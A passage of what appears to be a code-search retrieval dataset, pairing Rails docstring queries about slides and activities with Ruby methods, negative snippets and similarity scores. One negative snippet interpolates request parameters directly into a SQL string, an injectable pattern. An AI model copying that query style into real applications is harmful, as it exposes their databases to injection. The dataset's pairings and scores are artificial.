"def index\n @employee_productivities = EmployeeProductivity.all\n\n device_id = params[:device_id]\n device_active = params[:device_active]\n axis_data = params[:axis_data]\n emp_activity = params[:emp_activity]\n idle = params[:idle]\n pick = params[:pick]\n\n @ep_data = EmployeeProductivity.where(\"device_id = ? and device_active = ? and axis_data = ? and emp_activity = ? and idle = ? and pick = ?\", device_id, device_active, axis_data, emp_activity, idle, pick) if device_id && device_active && axis_data && emp_activity && idle && pick\n puts @ep_data.inspect\n\n if device_id != nil\n @iems_data = EmployeeProductivity.new\n @iems_data.device_id = device_id\n @iems_data.device_active = device_active\n @iems_data.axis_data = axis_data\n @iems_data.emp_activity = emp_activity\n @iems_data.idle = idle\n @iems_data.pick = pick\n @iems_data.save!\n end \n end",
"def daily_activity_aaa\n\t\t@work_flows = WorkFlow.where(is_active: true)\n\t\t@workflows = WorkFlow.where(is_active: true, is_in_use: false)\n\t\tif request.post? or session[:daily_activity_report_date].present?\n\t\t\tif request.post?\n\t\t\t\t@daily_report_date = params[:daily_report_date]\n\t\t\t\tsession[:daily_activity_report_date] = @daily_report_date\n\t\t\telse\n\t\t\t\t@daily_report_date = session[:daily_activity_report_date]\n\t\t\tend\n\t\t\tdate = L1.set_db_date_format(@daily_report_date)\n\t\t\tq_string = \"STR_TO_DATE( '#{date}', '%Y-%m-%d') = STR_TO_DATE(created_at, '%Y-%m-%d')\"\n\t\t\tworkflow = params[:work_flow]\n\t\t\tif workflow.present?\n\t\t\t\tq_string += \"and work_flow_id = #{workflow}\"\n\t\t\telse\n\t\t\t\tq_string += \"and work_flow_id = #{@workflow.id}\"\n\t\t\tend\n\t\t\t@logs = TimestampLog.where(q_string)\n\t\tend\n\tend",
"def index activity\n default_fields = {\n \"user_id\" => activity.actor.id,\n \"action\" => activity.verb,\n \"published_date\" => activity.published,\n \"indexed_date\" => Time.new.strftime(\"%Y-%m-%dT%H:%M:%S\")\n }\n extended_fields = activity.extensions || {}\n @es_client.index index:'stream-sample',\n type: activity.object.type,\n body: default_fields.merge extended_fields\n end",
"def activity_params\n params.require(:activity).permit(:theme_id, :code, :uni_module_id, :name,\n :name_abrv, :user_id, :archived, :in_drive, :notes, programme_ids:[],\n activity_assess_attributes: [:id, :num_assess, :pre_assess_type_id, :during_assess_type_id,\n :post_assess_type_id, :post_lab_type_id, :assess_weight, :notes],\n activity_tech_attributes: [:id, :tech_lead_id, :tech_ustudy_id, :last_risk_assess, :next_risk_assess,\n :equip_needed, :cost_per_student],\n activity_teaching_attributes: [:id, :user_id, :mole_pub_link, :g_drive_link, :resit_priority_id],\n activity_gta_attributes: [:id, :staff_ratio, :marking_time, :job_desc, :jobshop_desc, :criteria,\n gta_invites_attributes:[:id, :user_id, :_destroy]],\n activity_timetable_attributes: [:id, :same_as_prev_year, :checked_on_timetable, :capacity, :min_week_num, :max_week_num,\n :duration, :setup_time, :series_setup_time, :takedown_time, :kit_prep_time, :notes, :pref_room_id, room_ids:[]],\n objective_linkers_attributes:[:id, :activity_objective_id, :obj_programme, :_destroy])\n end",
"def get_all_activities\n \tself.is_manager? ? Activity.all : Activity.joins(:task).where(:tasks => { user_id: self.id })\n end",
"def activity(date)\n main_ledger_account.activity(date)\n end",
"def user_activities\n @limit = get_limit\n @offset = get_offset(params)\n if !params[:keyword].nil?\n @results_count = UserActivity.count(:conditions => [ \"activity_data like :kw\", { :kw => \"%\" + params[:keyword].to_s + \"%\" }])\n @user_activities = UserActivity.find(:all,\n :conditions => [ \"activity_data like :kw\", { :kw => \"%\" + params[:keyword].to_s + \"%\" }],\n :limit => @limit,\n :offset => @offset)\n end\n @results_pages = @results_count.fdiv(@limit)\n respond_to do |format|\n format.html { render \"manage/user_activities/index\" }\n format.xml { render :xml => @user_activities }\n end\n end",
"def find_product_and_release\n params[:product] = { :id => Product.active_products.find_by_short_name( params[:product]).try(:id) } if params[:product]\n params[:release] = { :id => Release.current.enabled.find_by_name( params[:release]).try(:id) } if params[:release]\n end",
"def activities()\n sql = \"SELECT a.* FROM activities a INNER JOIN bookings b ON b.activities_id = a.id WHERE b.members_id =$1\"\n values = [@id]\n result = SqlRunner.run(sql, values)\n return result.map { |session| Activity.new( session) }\n end",
"def index\n @activities = current_user.activities.includes([:wx_mp_user,:activity_type]).where(\"activities.status >= -1\").order(\"activity_types.sort\",:created_at)\n end",
"def getMEELeadActivities\n users = User.all.pluck(:id)\n activities = []\n users.each do |id|\n username = User.find(id).display_name\n #create list of [[user, [their activities...]]...]\n activities.push([username, Activity.where(user_id: id)]) \n end\n return activities \n end",
"def current_activity\n if self.record_category.activity?\n self\n else\n self.user.records.activities.where('timestamp < ? AND (end_timestamp IS NULL OR end_timestamp >= ?)', self.timestamp, self.timestamp).order('timestamp desc').first\n end\n end",
"def list_activities\n GooglePlus::Activity.for_person(id)\n end",
"def index\n @activity_items = ActivityItem.all\n end",
"def get_activities_by_interval()\n return MicrosoftGraph::Shares::Item::List::Items::Item::GetActivitiesByInterval::GetActivitiesByIntervalRequestBuilder.new(@path_parameters, @request_adapter)\n end",
"def get_productivity_stats()\n @client.api_helper.get_response(Config::TODOIST_COMPLETED_GET_STATS_COMMAND, {})\n end",
"def products_data\n $products_hash[\"items\"].each do |toy|\n # toy_result = calculate_products_data(toy)\n print_products_data(toy)\n end\n end",
"def activity_item_params\n params.require(:activity_item).permit(:activity_item, :activity_date, :starting_time, :ending_time, :activity_note, :activity_starred, :user_id, :activity_color)\n end",
"def custom_activities_query(user)\n PublicActivity::Activity.includes(:owner)\n .where(owner_id: user.id, owner_type: 'User', trackable_type: ['Mention', 'User', 'Content', 'Recommend', 'ContentPrayer']).where.not(key: 'content.create')\n .to_sql\n end"
] |
[
"0.5639996",
"0.5637454",
"0.5623708",
"0.5582665",
"0.55056375",
"0.547468",
"0.5463678",
"0.53926104",
"0.53806746",
"0.53770006",
"0.5280139",
"0.52752346",
"0.526773",
"0.526773",
"0.5215486",
"0.5215486",
"0.52128506",
"0.5209544",
"0.51778746",
"0.5173977",
"0.5166004",
"0.51647055",
"0.5134763",
"0.5130177",
"0.5126296",
"0.51070505",
"0.5086761",
"0.5085415",
"0.5079611",
"0.506665",
"0.50322616",
"0.503107",
"0.5030766",
"0.5021552",
"0.5013905",
"0.5013902",
"0.5000598",
"0.49940747",
"0.49918893",
"0.49894837",
"0.49646133",
"0.49560064",
"0.4945281",
"0.49437135",
"0.4935198",
"0.49349353",
"0.4931563",
"0.49196067",
"0.49098477",
"0.48981658",
"0.4892329",
"0.48916286",
"0.48768023",
"0.48744026",
"0.48681906",
"0.48660704",
"0.48611864",
"0.4850531",
"0.4849809",
"0.4839713",
"0.48278442",
"0.48252842",
"0.48236242",
"0.4813808",
"0.48119617",
"0.48058173",
"0.48003313",
"0.47998694",
"0.47990996",
"0.4798865",
"0.47829467",
"0.47807798",
"0.47753456",
"0.47727996",
"0.4772377",
"0.47721946",
"0.47659802",
"0.47592083",
"0.47423974",
"0.47408703",
"0.47361952",
"0.4732669",
"0.47249368",
"0.4720897",
"0.47199404",
"0.471311",
"0.47104743",
"0.4706071",
"0.47048646",
"0.47045562",
"0.4703466",
"0.47032306",
"0.47024694",
"0.46968085",
"0.4692266",
"0.4691093",
"0.46852407",
"0.46801695",
"0.46798494",
"0.46792364"
] |
0.5409125
|
7
|
This is kind of a hack for testing
|
def content_tag_with_block(name, content_or_options_with_block=nil,options={})
if block_given?
options = content_or_options_with_block if content_or_options_with_block.is_a?(Hash)
content_tag_without_block(name, yield, options)
else
content_tag_without_block(name, content_or_options_with_block, options)
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def private; end",
"def specie; end",
"def specie; end",
"def specie; end",
"def specie; end",
"def spec; end",
"def spec; end",
"def probers; end",
"def __dummy_test__\n end",
"def internship_passed; end",
"def self_test; end",
"def self_test; end",
"def schubert; end",
"def weber; end",
"def internal; end",
"def used?; end",
"def ignores; end",
"def internal?; end",
"def missing; end",
"def isolated; end",
"def isolated; end",
"def same; end",
"def missing?; end",
"def ibu; end",
"def implementation; end",
"def implementation; end",
"def missed?; end",
"def wrapper; end",
"def custom; end",
"def custom; end",
"def test_hack\n assert(true)\n end",
"def macro; raise NotImplementedError; end",
"def macro; raise NotImplementedError; end",
"def macro; raise NotImplementedError; end",
"def assertions; end",
"def assertions; end",
"def issn; end",
"def awaken!\n\t\traise 'Not implemented'\n\tend",
"def spec=(_arg0); end",
"def identify; end",
"def isolated?; end",
"def isolated?; end",
"def missing?; false; end",
"def terpene; end",
"def anchored; end",
"def original_result; end",
"def original; end",
"def before; end",
"def extra; end",
"def called_from; end",
"def called_from; end",
"def implemented_in; end",
"def who_we_are\r\n end",
"def suivre; end",
"def berlioz; end",
"def before() ; end",
"def usable?; end",
"def from; end",
"def from; end",
"def from; end",
"def from; end",
"def tests=(_arg0); end",
"def tests=(_arg0); end",
"def test_0_dummy\n\t\tend",
"def hiss; end",
"def checks; end",
"def setup; end",
"def setup; end",
"def setup; end",
"def setup; end",
"def setup; end",
"def setup; end",
"def setup; end",
"def setup; end",
"def setup; end",
"def setup; end",
"def setup; end",
"def setup; end",
"def setup; end",
"def setup; end",
"def setup; end",
"def setup; end",
"def setup; end",
"def setup; end",
"def setup; end",
"def loc; end",
"def loc; end",
"def loc; end",
"def expected_method; end",
"def check ; true ; end",
"def ignore; end",
"def refutal()\n end",
"def my_array_splitting_method(source)\r\n source # This line is here to make sure all tests initially fail. Delete it when you begin coding.\r\nend",
"def my_array_splitting_method(source)\r\n source # This line is here to make sure all tests initially fail. Delete it when you begin coding.\r\nend",
"def escaper=(_); end",
"def pass; end",
"def pass; end",
"def running_test_case; end",
"def standalone=(_arg0); end",
"def matcher; end",
"def matcher; end"
] |
[
"0.7261533",
"0.6682948",
"0.6682948",
"0.6682948",
"0.6682948",
"0.6470598",
"0.6470598",
"0.6202851",
"0.6075903",
"0.60245144",
"0.59755826",
"0.59755826",
"0.5905395",
"0.5871092",
"0.58501774",
"0.5837387",
"0.5837059",
"0.58097774",
"0.57910997",
"0.57891417",
"0.57891417",
"0.57553166",
"0.575504",
"0.5729531",
"0.5718129",
"0.5718129",
"0.571793",
"0.57134664",
"0.5701227",
"0.5701227",
"0.5701044",
"0.56694824",
"0.56694824",
"0.56694824",
"0.5664137",
"0.5664137",
"0.5648911",
"0.5612657",
"0.5606343",
"0.55977726",
"0.5592345",
"0.5592345",
"0.55906814",
"0.5569273",
"0.55540955",
"0.5552752",
"0.55440223",
"0.5541948",
"0.5521286",
"0.55183023",
"0.55183023",
"0.55174804",
"0.5511243",
"0.55098015",
"0.54889345",
"0.54887223",
"0.5474749",
"0.5470838",
"0.5470838",
"0.5470838",
"0.5470838",
"0.54701996",
"0.54701996",
"0.5462342",
"0.54597837",
"0.5456412",
"0.5452599",
"0.5452599",
"0.5452599",
"0.5452599",
"0.5452599",
"0.5452599",
"0.5452599",
"0.5452599",
"0.5452599",
"0.5452599",
"0.5452599",
"0.5452599",
"0.5452599",
"0.5452599",
"0.5452599",
"0.5452599",
"0.5452599",
"0.5452599",
"0.5452599",
"0.54488415",
"0.54488415",
"0.54488415",
"0.5447752",
"0.5438535",
"0.5436847",
"0.54339814",
"0.542859",
"0.542859",
"0.54281545",
"0.5425672",
"0.5425672",
"0.5416951",
"0.54006183",
"0.5400333",
"0.5400333"
] |
0.0
|
-1
|
GET /slides or /slides.json
|
def index
@slides = Slide.all
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def show\n @slideshow = Slideshow.find(params[:id])\n @slides = @slideshow.slides\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @slideshow }\n end\n end",
"def index\n @title = t('view.slides.index_title')\n @slides = @lesson.slides.page(params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @slides }\n end\n end",
"def show\n @slide = Slide.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @slide }\n end\n end",
"def show\n @slide = Slide.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @slide }\n end\n end",
"def show\n @slide = Slide.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @slide }\n end\n end",
"def show\n @page_slide = Slide.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @page_slide }\n end\n end",
"def show\n @slideshow = Slideshow.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @slideshow }\n end\n end",
"def show\n @slideshow = Slideshow.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @slideshow }\n end\n end",
"def show\n @title = t('view.slides.show_title')\n @slide = @lesson.slides.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @slide }\n end\n end",
"def show\n @slides =@lecture.slides(params[:urlpage])\n \n end",
"def get_slideshow slideshow_id, options = {}\n do_request 'get_slideshow', options.merge(q: q)\n end",
"def get_slides_with_http_info(name, password = nil, folder = nil, storage = nil)\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: SlidesApi.get_slides ...'\n end\n\n # verify the required parameter 'name' is set\n if @api_client.config.client_side_validation && name.nil?\n fail ArgumentError, \"Missing the required parameter 'name' when calling SlidesApi.get_slides\"\n end\n # resource path\n local_var_path = '/slides/{name}/slides'\n local_var_path = @api_client.replace_path_parameter(local_var_path, 'name', name)\n\n # query parameters\n query_params = {}\n query_params[:'folder'] = @api_client.prepare_for_query(folder) unless folder.nil?\n query_params[:'storage'] = @api_client.prepare_for_query(storage) unless storage.nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n header_params[:'password'] = password unless password.nil?\n\n # http body (model)\n post_body = nil\n\n # form parameters\n post_files = []\n\n auth_names = ['JWT']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :body => post_body,\n :files => post_files,\n :auth_names => auth_names,\n :return_type => 'Slides')\n return data, status_code, headers\n end",
"def show\n @slideshow_item = SlideshowItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @slideshow_item }\n end\n end",
"def show\n @slide_image = SlideImage.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @slide_image }\n end\n end",
"def index\n @write_right = userCould :slide\n if params[:search] then\n @slides = Slide.find(:all, :conditions => [\"name LIKE ?\", \"%#{params[:search]}%\"])\n redirect_to @slides[0] if @slides.count == 1\n else\n @slides = Slide.all\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @slides }\n end\n end\n end",
"def index\n @slides = Slide.paginate(:page => 1, :per_page => 10)\n @page = 'slides'\n end",
"def show\n @event = Event.find params[:id]\n @slides = @event.slides.page(params[:page]).per(10)\n end",
"def index\n # authorize\n authorize! :read, Slideshow\n \n @slideshows = Slideshow.order(\"style ASC\").paginate(:page => params[:page], :per_page => 10)\n end",
"def index\n @slideshows = Slideshow.all\n end",
"def index\n @slides = Slide.paginate(:page => params[:page], :per_page => 10).order('id DESC').accessible_by(current_ability)\n end",
"def new\n @slide = Slide.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @slide }\n end\n end",
"def new\n @slide = Slide.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @slide }\n end\n end",
"def new\n @slide = Slide.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @slide }\n end\n end",
"def new\n @page_slide = Slide.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @page_slide }\n end\n end",
"def get_slides(name, password = nil, folder = nil, storage = nil)\n data, _status_code, _headers = get_slides_with_http_info(name, password, folder, storage)\n data\n end",
"def index\n @slideshows = Slideshow.all\n @pag_url = '/slideshows/reload_pag'\n @page = 'home'\n end",
"def new\n @slideshow = Slideshow.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @slideshow }\n end\n end",
"def new\n @slideshow = Slideshow.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @slideshow }\n end\n end",
"def get_slide_with_http_info(name, slide_index, password = nil, folder = nil, storage = nil)\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: SlidesApi.get_slide ...'\n end\n\n # verify the required parameter 'name' is set\n if @api_client.config.client_side_validation && name.nil?\n fail ArgumentError, \"Missing the required parameter 'name' when calling SlidesApi.get_slide\"\n end\n # verify the required parameter 'slide_index' is set\n if @api_client.config.client_side_validation && slide_index.nil?\n fail ArgumentError, \"Missing the required parameter 'slide_index' when calling SlidesApi.get_slide\"\n end\n # resource path\n local_var_path = '/slides/{name}/slides/{slideIndex}'\n local_var_path = @api_client.replace_path_parameter(local_var_path, 'name', name)\n local_var_path = @api_client.replace_path_parameter(local_var_path, 'slideIndex', slide_index)\n\n # query parameters\n query_params = {}\n query_params[:'folder'] = @api_client.prepare_for_query(folder) unless folder.nil?\n query_params[:'storage'] = @api_client.prepare_for_query(storage) unless storage.nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n header_params[:'password'] = password unless password.nil?\n\n # http body (model)\n post_body = nil\n\n # form parameters\n post_files = []\n\n auth_names = ['JWT']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :body => post_body,\n :files => post_files,\n :auth_names => auth_names,\n :return_type => 'Slide')\n return data, status_code, headers\n end",
"def index\n @live_promo_slides = PromoSlide.where(live: true).order('sort_order')\n @promo_slides = PromoSlide.where(live: false).order('updated_at desc')\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @promo_slides }\n end\n end",
"def index\n if params[:search].present?\n @slides = Slide.where('LOWER(title) ILIKE ?', \"%#{params[:search].downcase}%\")\n else\n @slides = Slide.all\n end\n @slides = @slides.order('created_at desc').paginate(:page => params[:page])\n end",
"def new\n @pslide = Pslide.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @pslide }\n end\n end",
"def show\n @food_slider = FoodSlider.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @food_slider }\n end\n end",
"def show\n @pic_story = PicStory.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @pic_story }\n end\n end",
"def referSlide\n result = Hash.new\n result['status'] = true\n begin # try\n result['data'] = Slide.find_by( id: params[:id], lang: params[:lang], deleted_at: nil)\n rescue # catch\n result['status'] = false\n result['error'] = \"#{$!}\"\n ensure # finally\n render json: result\n end\n end",
"def index\n @food_sliders = FoodSlider.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @food_sliders }\n end\n end",
"def index\n @slider_images = SliderImage.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @slider_images }\n end\n end",
"def index\n @pic_stories = PicStory.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @pic_stories }\n end\n end",
"def show\n @web_slide = WebSlide.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @web_slide }\n end\n end",
"def index\n query = Slide.includes(:signs).nondraft\n query = query.owned_by(current_user) if params['filter'] == 'mine'\n if params['sort'] == 'popular'\n query = query.popular\n elsif params['sort'] == 'alpha'\n query = query.alpha\n else\n query = query.newest\n end\n @signs = Sign.order(:name)\n @slides = query.search(params[:search]).page params[:page]\n end",
"def show\n @presentation = Presentation.find_by_name(params[:prez_id])\n @pslide = Pslide.find(params[:id])\n @pcontent=Array.new\n @pbehavior=Pbehavior.new\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @pslide }\n end\n end",
"def index\n logger.info params.inspect\n if params[:toggle_activation]\n slide = Slide.where(:id => params[:toggle_activation]).first\n logger.info slide\n slide.toggle_visibility!\n slide.save\n end\n if params[:up]\n slide = Slide.where(:position => params[:up]).first\n if slide.position > 1\n other_slide = Slide.where(:position => slide.position-1).first\n other_slide.increment :position\n slide.decrement :position\n other_slide.save\n slide.save\n slide.reorder_positions!\n end\n end\n if params[:down]\n slide = Slide.where(:position => params[:down]).last\n logger.info \"found slide #{slide.inspect}\"\n if slide.position < Slide.where(:visible => true).count\n other_slide = Slide.where(:position => slide.position+1).first\n other_slide.decrement :position\n slide.increment :position\n other_slide.save\n slide.save\n slide.reorder_positions!\n end\n end\n\n @slides = Slide.find( :all, :order => \"visible DESC, position ASC\")\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @slides }\n end\n end",
"def index\n @illustrations = Illustration.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @illustrations }\n end\n end",
"def show\n @slider_image = SliderImage.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @slider_image }\n end\n end",
"def show\n @slider_image = SliderImage.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @slider_image }\n end\n end",
"def set_slides\n @keyword = params[:keyword]\n @slides = Flika.search(@keyword)\n end",
"def show\n @pic = Pic.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @pic }\n end\n end",
"def get_slideshows_by_tag tag, options = {}\n do_request 'get_slideshows_by_tag', options.merge(tag: tag)\n end",
"def show\n @pro_wmall_slide_picture = Wmall::SlidePicture.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @pro_wmall_slide_picture }\n end\n end",
"def index\n if params[:single]\n\t url = \"#{API_BASE_URL}/photos/#{params[:id]}.json?token=#{ENV['API_KEY']}\"\n\t response = RestClient.get(url)\n\t @photo = JSON.parse(response.body)\n\telse\n\t url = \"#{API_BASE_URL}/photos.json?token=#{ENV['API_KEY']}\"\n response = RestClient.get(url)\n @photos = JSON.parse(response.body)\t\t \n\tend\n end",
"def index\n @presentation = Presentation.friendly.find(params[:presentation_id])\n @slides = @presentation.slides.order(sort_order: :asc)\n redirect_to new_presentation_slide_path(@presentation) unless @slides.any?\n\n add_breadcrumb @presentation.name, presentation_path(@presentation)\n add_breadcrumb 'Slides', presentation_slides_path(@presentation)\n\n end",
"def slides\n @id = params[:id]\n @item = Item.find(@id)\n begin\n @slides = @item.images.where(['publish=?', true]).order('position')\n rescue => error\n flash[:error] = error.message\n ensure\n # no slides found so create some\n if @slides.empty?\n @slides = @item.create_images\n end\n end\n unless @id.nil? || @slides.nil? || @slides.empty?\n respond_to do |format|\n format.xml\n end\n else\n flash[:error] = 'Unable to locate process slides for id number ' + params[:id].to_s + '.'\n end\n end",
"def get_notes_slide_with_http_info(name, slide_index, password = nil, folder = nil, storage = nil)\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: SlidesApi.get_notes_slide ...'\n end\n\n # verify the required parameter 'name' is set\n if @api_client.config.client_side_validation && name.nil?\n fail ArgumentError, \"Missing the required parameter 'name' when calling SlidesApi.get_notes_slide\"\n end\n # verify the required parameter 'slide_index' is set\n if @api_client.config.client_side_validation && slide_index.nil?\n fail ArgumentError, \"Missing the required parameter 'slide_index' when calling SlidesApi.get_notes_slide\"\n end\n # resource path\n local_var_path = '/slides/{name}/slides/{slideIndex}/notesSlide'\n local_var_path = @api_client.replace_path_parameter(local_var_path, 'name', name)\n local_var_path = @api_client.replace_path_parameter(local_var_path, 'slideIndex', slide_index)\n\n # query parameters\n query_params = {}\n query_params[:'folder'] = @api_client.prepare_for_query(folder) unless folder.nil?\n query_params[:'storage'] = @api_client.prepare_for_query(storage) unless storage.nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n header_params[:'password'] = password unless password.nil?\n\n # http body (model)\n post_body = nil\n\n # form parameters\n post_files = []\n\n auth_names = ['JWT']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :body => post_body,\n :files => post_files,\n :auth_names => auth_names,\n :return_type => 'NotesSlide')\n return data, status_code, headers\n end",
"def index\n @galleries = Gallery.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @galleries }\n end\n end",
"def index\n @galleries = Gallery.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @galleries }\n end\n end",
"def index\n @galleries = Gallery.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @galleries }\n end\n end",
"def index\n @slideshow_items = SlideshowItem.order(\"display_order ASC\")\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @slideshow_items }\n end\n end",
"def index\n @galleries = Gallery.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @galleries }\n end\n end",
"def show\n @presentation = Presentation.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @presentation }\n end\n end",
"def index\n @images = Image.all\n\n respond_to do |format|\n format.html # index.html.slim\n format.json { render json: @images }\n end\n end",
"def show\n @livro = Livro.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @livro }\n end\n end",
"def get(url, options={})\n resp = RestClient.get url, rest_client_options(options)\n Representation.new self, MultiJson.load(resp)\n end",
"def list\n get('/')\n end",
"def show\n @story = Story.find(params[:id])\n @epics = Epic.all\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @story }\n end\n end",
"def show\n @slideshow = Slideshow.find(params[:id])\n session[:slideshow] = @slideshow\n session[:slide_index] = 0\n @slide = @slideshow.slides[0]\n\n#respond_to do |format|\n# format.html # show.html.erb\n# format.xml { render :xml => @slideshow }\n# end\n end",
"def index\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @pictures }\n end\n end",
"def get_master_slides_with_http_info(name, password = nil, folder = nil, storage = nil)\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: SlidesApi.get_master_slides ...'\n end\n\n # verify the required parameter 'name' is set\n if @api_client.config.client_side_validation && name.nil?\n fail ArgumentError, \"Missing the required parameter 'name' when calling SlidesApi.get_master_slides\"\n end\n # resource path\n local_var_path = '/slides/{name}/masterSlides'\n local_var_path = @api_client.replace_path_parameter(local_var_path, 'name', name)\n\n # query parameters\n query_params = {}\n query_params[:'folder'] = @api_client.prepare_for_query(folder) unless folder.nil?\n query_params[:'storage'] = @api_client.prepare_for_query(storage) unless storage.nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n header_params[:'password'] = password unless password.nil?\n\n # http body (model)\n post_body = nil\n\n # form parameters\n post_files = []\n\n auth_names = ['JWT']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :body => post_body,\n :files => post_files,\n :auth_names => auth_names,\n :return_type => 'MasterSlides')\n return data, status_code, headers\n end",
"def show\n @slide_type = SlideType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @slide_type }\n end\n end",
"def search_slideshows q, options = {}\n do_request 'search_slideshows', options.merge(q: q)\n end",
"def show\n @illustration = Illustration.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @illustration }\n end\n end",
"def index\n respond_with(@galleries = Gallery.all.paginate(:page => params[:page] || 1, :per_page => params[:per_page] || 10))\n end",
"def show\n @gallery = Gallery.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @gallery }\n end\n end",
"def show\n @gallery = Gallery.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @gallery }\n end\n end",
"def show\n @illustration = Illustration.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @illustration }\n end\n end",
"def index\n @exercises = Exercise.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @exercises }\n end\n end",
"def index\n @exercises = Exercise.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @exercises }\n end\n end",
"def show\n\n active_doc = site_account.api_docs_services.published.find_by_id_or_system_name! params[:id]\n\n json = if active_doc.specification.swagger_2_0?\n active_doc.specification.as_json\n else\n ThreeScale::Swagger::Translator.translate! active_doc.body\n end\n\n respond_with json\n end",
"def index\n @fotos = Foto.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @fotos }\n end\n end",
"def get_slide_images_with_http_info(name, slide_index, password = nil, folder = nil, storage = nil)\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: SlidesApi.get_slide_images ...'\n end\n\n # verify the required parameter 'name' is set\n if @api_client.config.client_side_validation && name.nil?\n fail ArgumentError, \"Missing the required parameter 'name' when calling SlidesApi.get_slide_images\"\n end\n # verify the required parameter 'slide_index' is set\n if @api_client.config.client_side_validation && slide_index.nil?\n fail ArgumentError, \"Missing the required parameter 'slide_index' when calling SlidesApi.get_slide_images\"\n end\n # resource path\n local_var_path = '/slides/{name}/slides/{slideIndex}/images'\n local_var_path = @api_client.replace_path_parameter(local_var_path, 'name', name)\n local_var_path = @api_client.replace_path_parameter(local_var_path, 'slideIndex', slide_index)\n\n # query parameters\n query_params = {}\n query_params[:'folder'] = @api_client.prepare_for_query(folder) unless folder.nil?\n query_params[:'storage'] = @api_client.prepare_for_query(storage) unless 